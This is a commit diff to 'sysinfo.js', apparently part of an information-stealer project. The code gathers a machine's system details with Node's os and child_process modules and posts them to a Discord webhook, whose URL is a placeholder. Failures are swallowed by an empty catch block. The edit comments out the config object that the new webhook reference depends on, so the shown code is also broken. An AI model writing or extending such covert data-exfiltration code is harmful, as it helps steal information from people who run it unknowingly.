Update sysinfo.js
This commit is contained in:
@@ -5,7 +5,9 @@ const os = require('os')
|
|||||||
const path = require('path')
|
const path = require('path')
|
||||||
const { execSync } = require('child_process')
|
const { execSync } = require('child_process')
|
||||||
|
|
||||||
const webhook = 'https://discord.com/api/webhooks/xxx/xxx'
|
/// const config = {
|
||||||
|
/// webhook: "https://discord.com/api/webhooks/xxx/xxx"
|
||||||
|
///};
|
||||||
|
|
||||||
async function systemInformationFullCopy() {
|
async function systemInformationFullCopy() {
|
||||||
try {
|
try {
|
||||||
@@ -57,7 +59,7 @@ async function systemInformationDump() {
|
|||||||
},
|
},
|
||||||
],
|
],
|
||||||
};
|
};
|
||||||
await axios.post(webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } });
|
await axios.post(config.webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } });
|
||||||
} catch {}
|
} catch {}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user